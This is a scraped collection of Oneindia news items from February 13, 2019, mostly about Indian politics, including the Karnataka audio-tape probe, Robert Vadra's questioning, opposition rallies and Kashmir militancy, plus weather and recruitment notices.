In the 1990s, people realized it, and today things have improved. Humans are incredibly resilient. That's what we see in the satellite data, she said.

According to the paper, how the greening trend may change in the future depends on numerous factors.

NASA study says warming oceans may increase frequency of extreme storms

For example, increased food production in India is facilitated by groundwater irrigation. If the groundwater is depleted, this trend may change, it said.

The researchers also pointed out that the gain in greenness around the world does not necessarily offset the loss of natural vegetation in tropical regions such as Brazil and Indonesia. There are consequences for sustainability and biodiversity in those ecosystems beyond the simple greenness of the landscape, the research study said.

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Story first published: Wednesday, February 13, 2019, 8:20 [IST]No announcement on withdrawal of troops from Germany

German Chancellor Angela Merkel inaugurates planets biggest spy agency HQ in Berlin

International

oi-Shubham Ghosh

Berlin, Feb 13: German Chancellor Angela Merkel last week officially inaugurated the largest headquarters of any spy agency ever.

The 64-year-old leader led a public ceremony last Friday (February 8) that saw the opening of Zentrale des Bundesnachrichtendienstes - the new headquarters of the German Federal Intelligence Service (BND), the country's main foreign spy agency.

It employs nearly 7,000 people in over 300 locations across the globe and its annual budget is almost 1 billion euros (Rs 8,000 crore).

Angela Merkel will step down as chancellor in 2021: source

Till recently, the BND's headquarters were located in the outskirts Munich in the German state of Bavaria. Last week, it was officially moved to downtown Berlin and its gigantic complex is located Berlin's affluent Mitte district. It is spread over an area of 2,60,000 square miles, and even the US's famous CIA complex at Langely, Virginia, comes second to it.

The construction of the massive structure began in 2006 and ended in 2017, six years after its initial schedule.

The Guardian, UK, reported that the new complex consists of 20,000 tons of steel and features 14,000 windows and 12,000 doors.

The site on which the complex is located used to house police barracks till it was badly damaged by bombing by the Allied Forces during the Second World War in 1945.

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Story first published: Wednesday, February 13, 2019, 12:16 [IST]What we just talked about is the best option. Having a comprehensive safety plan is the best option, Callahan said. If you talk to any of our SAVE members who are students, they would say that it does give them peace of mind that we train them to know the signs of someone who might become violent toward themselves and others.Why did Karnataka speaker Ramesh Kumar compare himself to a rape survivor

India

oi-Oneindia Staff

By Anuj Cariappa

Bengaluru, Feb 13: Karnataka assembly speaker KR Ramesh Kumar compared himself to a "rape survivor" having to undergo repeated questioning as he referred to repeated charges against him being part of the controversial audio tapes, over which government has announced a special investigative team or an SIT.

On Tuesday, the speaker, pointing to repeated reference to charges against him, said his "situation was like that of a rape victim, as they too are supposedly questioned about the incident repeatedly".

A day before, Karnataka Chief Minister HD Kumaraswamy had announced an SIT probe into the audio clip in which BJP Karnataka chief BS Yeddyurappa is reportedly heard luring a JD(S) legislator in what the Congress-JD(S) government describes as the party's attempt to topple their coalition.

Let us uphold dignity of the House, says Ramesh Kumar

Kumaraswamy had accepted an "advice" by an emotional speaker to constitute an SIT to probe the episode to "establish the truth" as his name has also been dragged with the charge that he had been "booked" for Rs. 50 crore.

The stand-off between the government and opposition continued in the assembly today as the BJP stuck to its strong opposition to the SIT, saying it could be used for "political vengeance".

"Let's discuss and try to find a solution," the speaker announced as he adjourned the assembly proceedings to Wednesday morning.

The speaker's decision came after Yeddyurappa, the leader of the opposition, pointed out that no effort was made by the Chair to seek the opinion of the opposition before deciding on the investigation agency to inquire into the case.

"SIT is being imposed on us forcefully," he said.

Yeddyurappa expressed apprehensions about the SIT as it comes under the Chief Minister and said he was firm on his stand to quit politics if it was proved he was present during conversations between the persons in the audio on a "Rs. 50 crore offer to book" the speaker, as alleged by HD Kumaraswamy.

Accusing the Chief Minister of hatching a conspiracy against him by "twisting facts", he said Kumaraswamy has released the audio partially, to save his seat.

The BJP has objected to the SIT and insisted on constituting a House committee or a judicial probe. They also said that the probe cannot be conducted by an agency that is under the Chief Minister as he too was a party in the case.

The political war over charges of horse-trading had escalated in Karnataka on Friday with Kumaraswamy releasing the audio clip.

As the House met for the day, opposition members requested the Chair to reconsider the decision to hand over the probe to the SIT.

Former Chief Minister Jagadish Shettar alleged that Kumaraswamy was behind the audio conversation as he was the one who sent Sharan Gouda, son of the MLA Naganagouda, who was being lured and he also heard the conversation between the two individuals via a conference call.

"So the CM is the offender, he is the first accused in the case," he said.

Why Siddaramaiah apologised to house and Speaker?

Another senior BJP member Madhu Swamy, questioning the constitution of the SIT, said the probe report can only be submitted to court by the SIT and not to the government or the Chair.

Kumaraswamy expressed surprise about being called A1 by BJP in the case and said that since the leader of the opposition and other members have called him accused, "at least to punish me, a comprehensive inquiry has to happen."

Claiming complete confidence of the Congress and JD(S) legislators, Kumaraswamy spoke of the need to amend the anti-defection law and said if an elected legislator resigns, he should not be allowed to contest elections for five years.

The chief minister said he was also ready for a discussion on the alleged 2014 video CD about the cash for vote allegedly involving him, which was raised by the BJP.

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Story first published: Wednesday, February 13, 2019, 5:54 [IST]Weather forecast for February 14: Heavy rains likely in Delhi-NCR on Valentines Day

India

oi-Madhuri Adnal

New Delhi, Feb 13: Valentine's Day is celebrated on 14th February every year across the world. The day is named after a Christian martyr Saint Valentine and is celebrated to commemorate the love between companions.Let us now have a look at weather forecast for Bengaluru, Delhi, Mumbai and Chennai on February 14.

Bengaluru:

During the next 24 hours, pleasant weather conditions with sunny sky are being observed over the IT hub of our country. As per Skymet weather, no major weather activity will be seen on the day of Valentine celebration. Lower clouds are a possibility during early morning hours which would pave way for good visibility. The maximums here would be touching the 30C mark. Evenings here would be pleasant with little chill in the air. The minimums will be somewhere between 18C-19C.

Weather forecast for February 13: Delhi to see cloudy weather, heavy rains in offing

Delhi:

Delhi and its adjoining areas like Noida, Gurugram, Faridabad and Ghaziabad experienced a good rainy spell around February 7. Thereafter, the weather over Delhi-NCR became pleasant and sunny. As per Skymet weather, on February 14, the intensity of rain is expected to increase due to the eastward movement of the induced cyclonic circulation over Delhi and NCR region. On Valentine's Day, Delhi-NCR will witness intense spells of rain and thundershowers with isolated hailstorm activity. Light scattered rains are expected to continue over the national capital region till February 15. By February 16, the weather systems will move towards east India giving rain in Uttar Pradesh.

Chennai:

After a long dry spell in Chennai, isolated light rains are all set to make an appearance over the city around February 16. These rains will be patchy in nature and not all the parts will see rainfall activities. According to Skymet Weather, Chennai rains usually remain on the backseat during this time of the year as February. However, this time, rains have usually remained on the backseat and rainfall has been way less than usual resulting in the state observing a deficiency of a whopping 84 percent.

Mumbai:

The weather conditions in Mumbai will be contrasting to Delhi. It is going to be hot and humid in the city. Going by the weather conditions observed in the last few days, Mumbai is seeing large variability. At present it is in a phase of hot weather condition. According to Skymet Weather, the maximums might exceed mid 30s and settle somewhere between 36C-37C, much above the normal mark.UP Police recruitment 2019: Now apply for 2,065 Fireman posts before Feb 16

India

oi-Madhuri Adnal

New Delhi, Feb 13: The Uttar Pradesh Police Recruitment and Promotion Board (UPPRPB) has extended the last date to apply for Firemen and Constable (Mounted Police) recruitment 2019. Eligible candidates can apply till February 16 on the official website.

According to the official notice on the website, the online applications were submitted from January 18, 2019, till February 9, 2019. Due to problems faced by the candidates in the online applications, the last date for registration has been extended.

UP Assistant Teacher 2018 results delayed: Check details

How to apply for UPPRPB UP fireman recruitment:

Visit the official website- uppbpb.gov.in

On the homepage, click on the link that says, "UP police fireman recruitment application'

On the new page that opens, enter all the information and fill the form.

Upload the images, make payment and click on submit.

Take a print out of the confirmation page for future reference.

Selection Procedure for UPPRPB UP fireman recruitment:

The selection of the candidates will be done on the basis of a written test that will be followed with a Physical Efficiency test.

For more information, the candidates should check the official website.

Important Information:

The candidates can check the official notice here.

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Story first published: Wednesday, February 13, 2019, 15:32 [IST]Revocation of Article 370 not in pipeline, but Gupkar Alliance to demand its restoration

In Pics: PM Modi meets J&K Leaders to chalk out future course of action

PM said he wants remove 'dil ki doori and Dilli ki doori': Omar Abdullah after meet on J&K

Rock solid says Shah on peoples support for Modi

India

oi-Oneindia Staff

By Anuj Cariappa

New Delhi, Feb 13: Prime Minister Narendra Modi has rock-solid support of people ahead of the coming Lok Sabha election, BJP president Amit Shah claimed.

Launching the 'Mera Parivar-Bhajpa Parivar' voter outreach campaign from Gujarat, Shah said the general election is an important step for India to become a global superpower.

"I travel the country... I can see that people are standing with Prime Minister Narendra Modi like a rock and one can see the support in their eyes," Shah said addressing BJP workers.

People will stand by us says BJP ten secy

Hitting out at the Opposition, he said, "The 'mahagathbandhan' (grand alliance) is made up of only state-level leaders. It will not affect BJP's poll prospects."

Shah launched the outreach campaign by hoisting the party flag at his residence here.

The BJP intends to hoist the party flag at the houses of voters under this mass outreach drive.

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Story first published: Wednesday, February 13, 2019, 9:54 [IST]Under probe for money laundering, Robert Vadra seeks permission to go abroad

Bikaner land scam: Robert Vadra appears before ED for second day

India

oi-Oneindia Staff

By Anuj Cariappa

New Delhi, Feb 13: Robert Vadra, Congress president Rahul Gandhi's brother-in-law, appeared before the Enforcement Directorate (ED)on the second consecutive day on Wednesday in connection with a money laundering case.

Vadra was grilled on Tuesday along with his 75-year-old mother, Maureen, in connection with the probe into an alleged land scam in Bikaner, but Vadra remained at the ED's zonal office till about 8.30pm, except for a lunch break during which he was allowed to leave the premises for an hour.

Robert Vadra, his mother appear before ED in Jaipur

AICC general secretary Priyanka Gandhi Vadra dropped Vadra and his mother off at the ED office, taking time off from her four-day Uttar Pradesh trip in a show of solidarity with her husband.

Congress workers shouted slogans when Vadra arrived for the questioning and when he left for his hotel at night.

"The interrogation lasted for nearly nine hours. He has given answers to the questions from the ED officers. He will once again appear before the ED zonal office in Jaipur at 10.30am," Vadra's lawyer Suman Jyoti Khaitan told reporters.

Vadra's lawyers said his mother has not been called for questioning as she is not keeping well.

She has, however, assured full cooperation in the probe, they said.

On Facebook, Vadra accused the Narendra Modi government of being vindictive ahead of the Lok Sabha elections, and putting his mother through harassment.

This was Vadra's first appearance before the ED in Jaipur in connection with charges of money laundering through land deals made by a company linked to him. Vadra was asked by the Rajasthan high court to cooperate with the agency.

His Jaipur appearance follows soon after he faced ED questioning for three days in Delhi on a different set of charges relating to property allegedly purchased in London.

Vadra is also facing accusations of irregular land deals in Haryana's Gurugram district.

Vadra and his mother reached the ED's zonal office at Bhawani Singh Road, amid tight security.

Near the ED office, some Congress workers shouted slogans in support of Priyanka Gandhi, and also repeated the slogan given by her brother Rahul Gandhi, calling Modi a "thief".

"Chowkidar chor hai," they shouted.

Several hoardings were put up nearby showing pictures of Priyanka Gandhi and Robert Vadra, and saying that people wanted Rahul Gandhi and Priyanka Gandhi to come to power this time.

"Jan Jan ki hai yehi pukar, Rahul ji-Priyanka ji abki baar," the banners said.

Rajasthan Congress vice president Archana Sharma, however, claimed she was not aware of such posters.

Bikaner land scam: Priyanka Gandhi reaches Jaipur to be with Robert Vadra, Maureen Vadra

"The party has not put up any such hoardings," she said.

Before the questioning started, Vadra accused the government of harassing his elderly mother by putting her through it.

"As I always have adhered to rules and overall being a disciplined person, I have the ability to sustain any amount of hours of questioning and having nothing to hide, I will answer every question with respect and dignity. This too shall pass and will make me stronger," he said.

"So here we are my 75-year-old mother and me in Jaipur to depose in front of the Enforcement Directorate. Not understanding the lows of this vindictive government to be harassing a senior citizen, who the world knows has lost her daughter in a car crash, her ailing son to diabetes, and her husband as well," he posted.

In the Bikaner case, the agency had summoned Vadra thrice but he failed to appear before it.

The Rajasthan high court asked him and his mother to cooperate with the agency after they approached it, seeking directions that no coercive action is taken against them by the ED.

The ED had registered a case in connection with the deal in 2015, taking cognisance of a clutch of FIRs and chargesheets filed by the Rajasthan police after the Bikaner tehsildar complained about alleged forgery in land allotment.

It is understood that the agency wanted to question him on the operations of Skylight Hospitality Private Limited, allegedly linked to him, which purchased land in the area.

It also wanted to confront Vadra with the statements of those said to be linked to him.Pickpockets run amok at Priyanka Gandhi road show in Lucknow; valuables stolen

India

oi-Shubham Ghosh

Lucknow, Feb 12: Even as the supporters of the Congress rejoiced the maiden road show held in Lucknow on Monday, February 11, the first one after Priyanka Gandhi Vadra's formal entry into politics, they had some unwanted experience to face as well.

According to reports, pickpockets ran amok in the grand rally and stole as many as 15 mobile phones, two wallets and cash worth Rs 40,000 from the party workers during the event.

The workers were so engrossed with the entry of the yet another member of the Gandhi family that they came to learn about their lost belongings after travelling as far as 10 kilometres, Times of India reported.

With no place in SP-BSP alliance & no local face in UP, Congress had only hope in Priyanka Gandhi

Pushpendra Pandey, district vice-president of the party in Kannauj, told ToI that he had joined the rally along with 15 other workers near Sarojininagar Metro station and at Burlington crossing where the procession had stopped that they realised that their phones and moneybags were not in place.

The Congress workers then approached Sarojininagar PS but it was alleged that the police did not take their complaint and they then staged a sit-in protest outside the police station and criticised Lucknow Police.

Uttar Pradesh is currently under the rule of the BJP.

Sarojininagar SHO Triloki Singh said they received the complaint and will conduct an inquiry before lodging a case, NewsBytes reported.

In the fight against Modi, Priyanka Gandhi has to find her 'Michelle Obama moment'

Priyanka Gandhi Vadra has been appointed as the Congress's General Secretary for East UP and will be in charge of 42 seats in the electorally crucial region.

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Story first published: Wednesday, February 13, 2019, 8:35 [IST]PFI banned in Jharkhand: Why every other state should act against this radical outfit

India

oi-Vicky Nanjappa

New Delhi, Feb 13: In a bid to curb its anti-national activities, the Jharkhand government has banned the Popular Front of India or PFI. The government cited the PFI's alleged links with outfits such as the Islamic State.

The decision to ban PFI has been taken after a review that its activities have increased and is dangerous to the state and the nation and it has the power to disrupt peace, communal harmony and secular structure, an official said.

The cries to ban the PFI have been getting louder over the past couple of years thanks to the activities that the outfit has been involved in. The National Investigation Agency too had prepared a detailed dossier on the PFI, in which its anti national activities were spoken about.

Radicalisation:

The NIA speaks about the killing of RSS worker Rudresh in Bengaluru. Further, it details the professor's hand chopping case at Idukki. While giving details about a Kannur training camp from where country-made bombs and swords were seized, the NIA report to the Home Ministry also speaks about an Islamic State module case.

The NIA says that the approach of the PFI is radical in nature. It speaks about recruiting only committed Muslims into its fold. It also states that the cadres train with clips of the Babri Masjid demolition and this is clearly a sign that it is trying to radicalise its cadres.

It is trying to run a parallel administration the NIA states.

It speaks about the Darul Khada an outfit comprising Muslim scholars, social workers and advocates. This was set up in 2009, by SDPI national chief E Aboobacker. The NIA says that they run a parallel judiciary which settles a host of issues. The NIA dossier also states that in July 2009, a Kerala level declaration was passed by the Darul Khada in Malappuram in which it had called upon the Muslim community not to attend civil courts, but get all issues sorted out by it.

Jharkhand gov bans Popular Front of India

The NIA also cited the most recent case it is probing in connection with Love Jihad. It speaks about the Sathyasarani Islamic Dawah an affiliate of the PFI. It says that this organisation is running an Islamic conversion centre and also details the rigorous religious training it is imparting.

An extremely violent outfit:

The Intelligence Bureau has said that the PFI is violent in nature. They one point agenda is to attack the Right Wing. They preach to their cadres that attacking those who oppose Islam would earn them religious rewards. the PFI has been accused of chopping off a professor's hand who had allegedly hurt religious sentiments in Kerala. 37 PFI cadres were arrested. In an affidavit before the Kerala High Court, it was submitted that the PFI was involved in 27 murders. In another report, the Kerala government said that there was 87 attempt to murder cases against PFI cadres.

What is the PFI:

PFI as an organisation came into existence in 2006. However, it dates back to 1993 when an organisation called the National Development Front was formed to protect the interests of Muslims in Kerala following the demolition of the Babri Masjid.

The activities of the NDF were restricted to Kerala alone. There was a decision that was later on taken to unify like-minded outfits from Kerala, Tamil Nadu and Karnataka. The PFI then was born in 2006 with the merger of NDF, Karnataka Forum for Dignity and the Manitha Neethi Pasarai in Tamil Nadu.

By 2009 more organisations merged with the PFI. They were Goa Citizen's Forum, Rajasthan's Community Social and Educational Society, West Bengal's Nagarik Adhikar Suraksha Samithi, Manipur's Lilong Social Forum and Association of Social Justice, Andhra Pradesh.

The PFI has often been accused of associating with the banned Students Islamic Movement of India. Most of the office bearers of the PFI have been associated with the SIMI in the past. They have held positions in the SIMI before it had been banned.

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Story first published: Wednesday, February 13, 2019, 6:17 [IST]Revocation of Article 370 not in pipeline, but Gupkar Alliance to demand its restoration

In Pics: PM Modi meets J&K Leaders to chalk out future course of action

PM said he wants remove 'dil ki doori and Dilli ki doori': Omar Abdullah after meet on J&K

People will stand by us says BJP ten secy

India

oi-Oneindia Staff

By Anuj Cariappa

Hyderabad, Feb 13: Claiming that many parties are worried over the popularity of Prime Minister Narendra Modi and even indulged in personal attacks on him, BJP General Secretary Ramlal said people would stand by his party as they understand the work done by the NDA government.

"You know that many parties fear Modi ji, worried by Modiji. They are also indulging in personal attack on Modiji.

In a way, they are abusing... But we are fully confident that people would understand their abuse, people would understand Modijis work and will stand by us by, keeping faith in the work of Modij.

He will return as PM with over 300 seats says Modi's brother

The politics of abuse has never worked in the country. People have never accepted it" he said.

The party activists would have to take a positive line and reach out to people, he said.

All surveys conducted by the media channels have said BJP would come to power and that Modi would become Prime Minister again, he said.

The BJP leader was speaking after hoisting BJP flag at the partys Telangana headquarters here as part of Mera Parivar-BJP Parivar campaign.

BJP must run with workers' contributions, not "industrialists": Amit Shah

BJPs Telangana unit president K Laxman and other leaders were present on the occasion.

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Story first published: Wednesday, February 13, 2019, 9:04 [IST]Operation Lotus failed: Rebel Congress MLA Ramesh Jarkiholi returns to Bengaluru

India

oi-Chennabasaveshwar P

Bengaluru, Feb 13: Rebel Congress MLA Ramesh Jarkiholi arrived in Bengaluru on Tuesday after remaining incommunicado for the past few days.

A habeas corpus petition was filed alleging that Athani MLA, Mahesh Kumathalli, was missing and possibly in illegal detention. Gokak MLA and Belagavi strongman, Ramesh Jarkiholi, accused of illegally confining Kumathalli.

Following this, the high court has issued notices to the State government and Jarkiholi. The petition was filed by advocate Pramod Hiremani, is the Youth Congress president in Athani.

Narayana Gowda, JD(S) MLA, the first to reach the Bengaluru airport, said " BJP can't and never purchase me. If I want I can bring 10 BJP MLAs. I was admitted in hospital after food poisoning, I have the hospital bills. There will be some internal issues inside the party and we'll clear it as usual."

Why did Karnataka speaker Ramesh Kumar compare himself to a rape survivor

Last week, the state Congress leadership may have submitted a petition to the Speaker of the legislative assembly, demanding disqualification of four Congress dissident MLAs, including Jarkiholi and Kumathalli.

On four dissenting Congress MLAs, Minister DK Shivakumar, said, "I have already said that they have been elected in the Congress party and living in the Congress party since two decades, I think some good sense has prevailed. We have a report that everyone is back, Let us see their actions."

Meanwhile, Congress has issued a whip to all 80 MLAs to attend the Assembly session. Party warned of strict action if MLAs who fail to be present.Do not come back: TMC slams West Bengal Governor Jagdeep Dhankhar who is visiting Delhi

Explained: Can Mukul Roy be disqualified as MLA for jumping from BJP to TMC

Mukul Roy gets anticipatory bail in TMC MLA murder case

India

oi-Chennabasaveshwar P

Kolkata, Feb 13: The Calcutta High Court granted anticipatory bail to BJP leader Mukul Roy in connection with TMC MLA Satyajit Biswas murder case. He cannot be arrested till February 26, 2019.

The high court also asked Roy not to enter Nadia district where the murder took place. He has also been asked to co-operate with investigations. The interim order is till the March 7 and the next date of hearing is on March 5, 2019.

An FIR was registered against Mukul Roy and three others on Sunday, a day after Trinamool Congress MLA Satyajit Biswas from Krishnagunj in Nadia district was shot dead by unidentified assailants.

TMC MLA's murder: 'Allegations being levelled against BJP on Mamata's order', says Mukul Roy

Of the four booked, two have been arrested.

The result of preliminary post-mortem report stated that the cause of the death was a bullet that went through Biswas' head.

Mukul Roy has denied the allegations leveled against him by the Trinamool Congress (TMC) that he is involved in the murder of TMC MLA Satyajit Biswas. In a tweet Mukul Roy said he believes Satyajit Biswas was killed because of infighting within the TMC.We are flooded with fake news on TV and internet news, but it has reached home on Quickly just as well. Looking over the 14 Quickly submissions today, 9 are fake information, 3 are questionable and only two are legitimate.They always say at my work that anyone with a job cannot get a comment published in Quickly. I think I find that to be true.Mamata's formula to take on Modi: Limit rivalries at state level, let's unite for nation'

India

oi-Vikas SV

New Delhi, Feb 13: During the second edition of Opposition's show of strength rally in Delhi's Jantar Mantar today, West Bengal Chief Minister Mamata Banerjee urged the regional parties to leave behind mutual differences at the state level and unite at the national level to oust the Prime Minister Narendra Modi led government in the upcoming elections.

The "Remove Dictatorship, Save Democracy" rally at Jantar Mantar is being organised by the Arvind Kejriwal-led Aam Aadmi Party (AAP), which has been critical of the Bharatiya Janata Party (BJP). Chief ministers Arvind Kejriwal, Mamata Banerjee and N Chandrababu Naidu addressed the rally and came down heavily on BJP-led government at the Centre and its functioning. All leaders touched upon how the BJP government is allegedly using agencies like CBI and ED for political gains.

"Modi govt uses surveillance on everybody, against own officers too. They don't respect Gandhiji, Ambedkar, Tagore, but use some leaders during election time, says Mamata. They send CBI to threaten my police, haven't seen govt stoop so low. What will Modi do? Send me to jail, set agencies against us or murder us? We are not the ones to be afraid," Mamata Banerjee said at Jantar Mantar.

[Mamata's mega 'United India' rally brings Kolkata to grinding halt]

The West Bengal Chief Minister said let the CPI and Congress fight against TMC in state, but urged them to unite on the national level to defeat the BJP

"Aane waale din ekhatte hoke humlog ladenge. Hamare saath Congress, CPM ka jo bhi fight rahega state mein rahega. National level mein hum ek saath ladenge. (Congress and CPI(M) will fight against us in Bengal but will be together nationally). Let them fight against me, I don't mind. For interest of the nation, I am ready to sacrifice my life/party," she said.

[Shatrughan Sinha comes out in Mamata Banerjee's support, calls her "Bengal Tigress"]

"Whoever is strong wherever should fight in their areas. This way we will throw them out. AAP should fight in Delhi, SP-BSP alliance in UP, Chandrababu Naidu in Andhra," she added.

Naidu also launched a bitter attack on BJP-led government at the Centre and said Narendra Modi will be ex-prime minister soon. He also questioned the CAG report on Rafale deal tabled in Parliament today.

[AAP Opposition rally: Kejriwal praises Mamata for chasing away CBI from Kolkata]

"If the same man who was in finance ministry and is now CAG, what better report he will give on Rafale, asks Chandrababu Naidu. Where is cooperative federalism? modi attack Kejriwal, Mamata and me. Kejriwal is 1000 times more efficient than Modi. Kejriwal can tell where he got his degree, I can say where I got my degree, but the PM can't say," Naidu said at the "Remove Dictatorship, Save Democracy" rally at Jantar Mantar.

The Congress representative at the rally was Anand Sharma. He likened Modi rule to a dictatorial regime and said "even dictatorships eventually come to an end."

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Story first published: Wednesday, February 13, 2019, 19:18 [IST]Mamata, Rahul, Kejriwal meet at Pawar's residence, agree on common minimum programme'

India

oi-Vikas SV

New Delhi, Feb 13: Congress president Rahul Gandhi, Andhra Pradesh CM N Chandrababu Naidu, National Conference chief Farooq Abdullah, West Bengal chief minister Mamata Banerjee and Delhi chief minister Arvind Kejriwal met on Wednesday at Nationalist Congress Party chief Sharad Pawar's home in New Delhi.

After the meeting, Banerjee announced that the opposition will have a pre-poll alliance and a common minimum agenda.

"We will work together at the national level. We will have a common minimum agenda. We will have a pre-poll alliance," Banerjee said after the meeting.

Rahul said that the opposition parties are committed to defeating the BJP-led government. Rahul Gandhi called the meeting a "constructive" one.

"We agreed that principal target for all of us is to wipe assault on Indian institutions being carried out by Narendra Modi, BJP and RSS. We agreed to start a conversation about a common minimum programme and we have a commitment that we are all going to work together to defeat BJP," Rahul told the media.

[Mamata's formula to take on Modi: 'Limit rivalries at state level, let's unite for nation']

"We had a very constructive meeting. We agreed that the principal target for all of us is to fight against assault on institutes being carried out by BJP," he added.

The meeting comes hours after a massive opposition rally in New Delhi in which various political leaders launched a scathing attack on Prime Minister Narendra Modi on a host of issues.

During the second edition of Opposition's show of strength rally in Delhi's Jantar Mantar, West Bengal Chief Minister Mamata Banerjee on Wednesday urged the regional parties to leave behind difference at the state level and unite at national level to oust the Prime Minister Narendra Modi led government in the upcoming elections.

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Story first published: Wednesday, February 13, 2019, 23:10 [IST]Karnataka: Disgruntled Congress MLAs attend Budget session

India

oi-Chennabasaveshwar P

Bengaluru, Feb 13: Disgruntled Congress MLAs attended the Budget session at Vidhana Soudha on Wednesday after the Congress sought disqualification of four rebel lawmakers under the Anti-Defection law for the defiance, skipping the assembly session and legislature party meetings.

On his return from Mumbai, Congress MLA Umesh Jadhav, said, "I had small issues with party leaders in my constituency. I will discuss those issues separately. Mallikarjun Kharge is a big leader, I can't speak anything against them. I'll speak at appropriate time. I have come to attend the budget session."

Congress MLA from Athani, Mahesh Kumathalli also expressed similar views on his return. He said, "I have small issues with my party leaders, there was some miscommunication. I was not satisfied with some of the party decisions. As this is a budget session, I have come back."

Operation Lotus failed: Rebel Congress MLA Ramesh Jarkiholi returns to Bengaluru

Reacting to Congress MLAs return, Water Resources Minister DK Shivakumar said , 'Good sense prevailed among disgruntled MLAs'.

Earlier, Congress has issued whip to all 80 MLAs to attend the Assembly session and the party warned of strict action if MLAs who fail to be present.

The four lawmakers skipped the CLP meeting on January 18, which was meant to be a show of strength in the backdrop of BJP's alleged bid to topple the coalition government, and another CLP meet Friday last despite a whip.

They were also among those absent from the assembly since the budget session began Wednesday last. Ramesh Jarkiholi, one of the four disgruntled MLAs, was upset after he was dropped in the ministry rejig on December 22.

(With PTI inputs)Mortal remains of Wing Commander Siddharth, who lost his life in Budgam crash brought to residence

Air Chief Marshal RKS Bhadauria says shooting down IAF chopper in Kashmir was a 'big mistake on our

J&K: Two militants killed in Budgam encounter with security forces

India

oi-Madhuri Adnal

Jammu, Feb 13: Two militants affiliated with Hizbul Mujahideen were killed in a gunfight that broke out between security forces and militants in Chadoora area of central Kashmir's Budgam district on Wednesday.

Speaking to media, a police spokesman identified the slain as Hilal Ahmad Wani son of Mohd Akram Wani of Yaripora Kulgam and Shoaib Mohd Lone Mursi son of Late Arshad Hussain of Bumrath Kulgam.

[J&K: Encounter between terrorists, security forces in Pulwama district]

Ahmed Wani Wani, he said, had a long history of crime records and was involved in several cases. "He was the main person responsible for the recruitment into the militant fold and was longest surviving militant who was operating across the southern and central belts of the valley ever since he had joined the militant ranks in 2015.

Arms and ammunition have been recovered from the site of encounter. A case has been registered.

Security sources said that a joint team of security forces launched cordon and search operation following specific input about presence of terrorists in the area.

They said as the forces zeroed in on the suspected spot, the hiding terrorists fired upon forces triggering an encounter. Talking to AIR, DG Police Dilbagh Singh said two terrorists were killed during the encounter.

[J&K: Encounter underway between terrorists, security forces in Pulwama district]

On Tuesday morning, Hizbul Mujahideen militant who helped slain Lashkar-e-Taiba (LeT) commander Naveed Jatt escape from a Srinagar hospital last year, was killed in an encounter between militants and security forces in South Kashmir's Pulwama district. A soldier was also killed in the operation, while as another soldier was injured in the gunbattle.In Pics: PM Modi meets J&K Leaders to chalk out future course of action

Restoration of Jammu and Kashmir's statehood must to rebuild trust: Farooq Abdullah

Delimitation, holding of polls in J&K important milestones in restoring statehood: says Amit Shah

J&K: Terrorists shoot at a civilian in Pulwama's Tral

India

oi-Vikas SV

Srinagar, Feb 13: The terrorists on Wednesday shot at a civilian in Jammu and Kashmir's Pulwama area, said reports. The individual has been identified as one Lateef Ahmad.

The incident took place at Amlar area of Tral this evening. Ahmad is injured and currently being attended to by doctors at a nearby hospital. His condition is said to be stable.

The motive behind the attack on Ahmad is yet to be ascertained and a probe has been launched into the matter.

On January 28, a terrorist had reportedly shot at a civilian in Pulwama. The person was identified as one Tariq Ahmad Wani. He was a resident of Reshipora.

[Puwama encounter: Militant who aided Jatt's escape killed; Two jawans martyred]

On Tuesday (February 12), a Hizbul Mujahideen terrorist who had helped Lashkar-e-Taiba (LeT) 'commander' Naveed Jatt to escape from a Srinagar jail last year was killed in an encounter in Pulwama.

Last year in October, unidentified terrorists shot a man in Srinagar's Hyderpora area. The victim, identified as Muhammad Amin Dar, sustained grievous gunshot wounds and was rushed to a nearby hospital for treatment. However, he succumbed to his injuries.

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Story first published: Wednesday, February 13, 2019, 21:48 [IST]IBPS Clerk mains result 2019 date, check details

India

oi-Madhuri Adnal

New Delhi, Feb 13: The IBPS Clerk mains Result 2019 is expected to be released by first week of March 2019. The results declared by the Institute of Banking Personnel Selection is available on the official website.

You will be able to download the results once its declared.

The IBPS Clerk Main Exam 2018 was held on January 20, 2019. A total of 190 questions had to be answered in 160 minutes. There were 4 sections namely, General/Financial Awareness, General English, Reasoning Ability & Computer Aptitude and Quantitative Aptitude. Except General English, the rest of the objective questions were in bilingual format that is, in English and Hindi. Each incorrect answer will reduce the score by 1/4th marks assigned to the respective question.

How to download IBPS Clerk main exam 2019 results:

Go to ibps.in

On the main page, there will be declaration saying "Click here to IBPS Clerk main exam results 2017

Click on the link and you will be taken to a new page

Enter required details

View results

Take a printoutSanjay Gandhi, Indira's successor was killed in plain crash on this day

Hassan BJP MLA's supporter injured in stone pelting by JDS workers

India

oi-Chennabasaveshwar P

Hassan, Feb 13: Hassan BJP MLA Preetham Gowda' supporter has been injured in stone pelting by Janata Dal (Secular) workers at MLA's residence on Wednesday.

Reacting to the incident Preetham Gowda said that Chief Minister HD Kumaraswamy has instructed his party workers to harm my family and murder him.

State BJP chief BS Yeddyurappa said that BJP will hold protest in Hassan to condemn the attack on BJP MLA Preetham Gowda's residence. While condemning the attack, Yeddyurappa said attempts are being made to intimidate opposition leaders.

Karnataka: Disgruntled Congress MLAs attend Budget session

The lone BJP MLA from JDS-dominant Hassan district, Preetham Gowda allegedly made controversial remarks against JD(S) chief and former prime minister HD Deve Gowda in BS Yeddyurappa's audio clip, according to reports.

And my friend was @RahulKini1 injured today where party MLA Preetham Gowda's house was vandalized allegedly by JD(S) workers. @BJP4India #hassan pic.twitter.com/TLuVuhZW8E  Madhuri Rao (@theredditgirl) February 13, 2019

CM Kumaraswamy has written to Speaker Ramesh Kumar indicating that his office had been brought into disrepute in the recordings.

"Hassan MLA Preetham Gowda (of BJP) was also present. The words I have heard have hurt me deeply. I could not have imagined that a member of the Legislature would speak in such a manner about the Speaker. I have sent the recording to you. As the Leader of the House, I would like you to consider the recordings and take suitable action as per law,'' Wrote CM Kumaraswamy.Former CBI boss, Alok Verma indicted by DoPT

India

oi-Vicky Nanjappa

New Delhi, Feb 13: The Department of Personnel and Training (DoPT) has indicted former CBI chief, Alok Verma on three counts.

He has been indicted on stopping former CBI special director, Rakesh Asthana from mentioning Rakesh Saxena, the then IRCTC director as an accused. He has also been accused of trying to weaken the case against RJD leader, Lalu Prasad Yadav. The DoPT has also been probing Verma's role in removing the name of Ahluwalia Contracts as he was close to the Ahluwalia family.

[Departmental action stares at ousted CBI chief, Alok Verma]

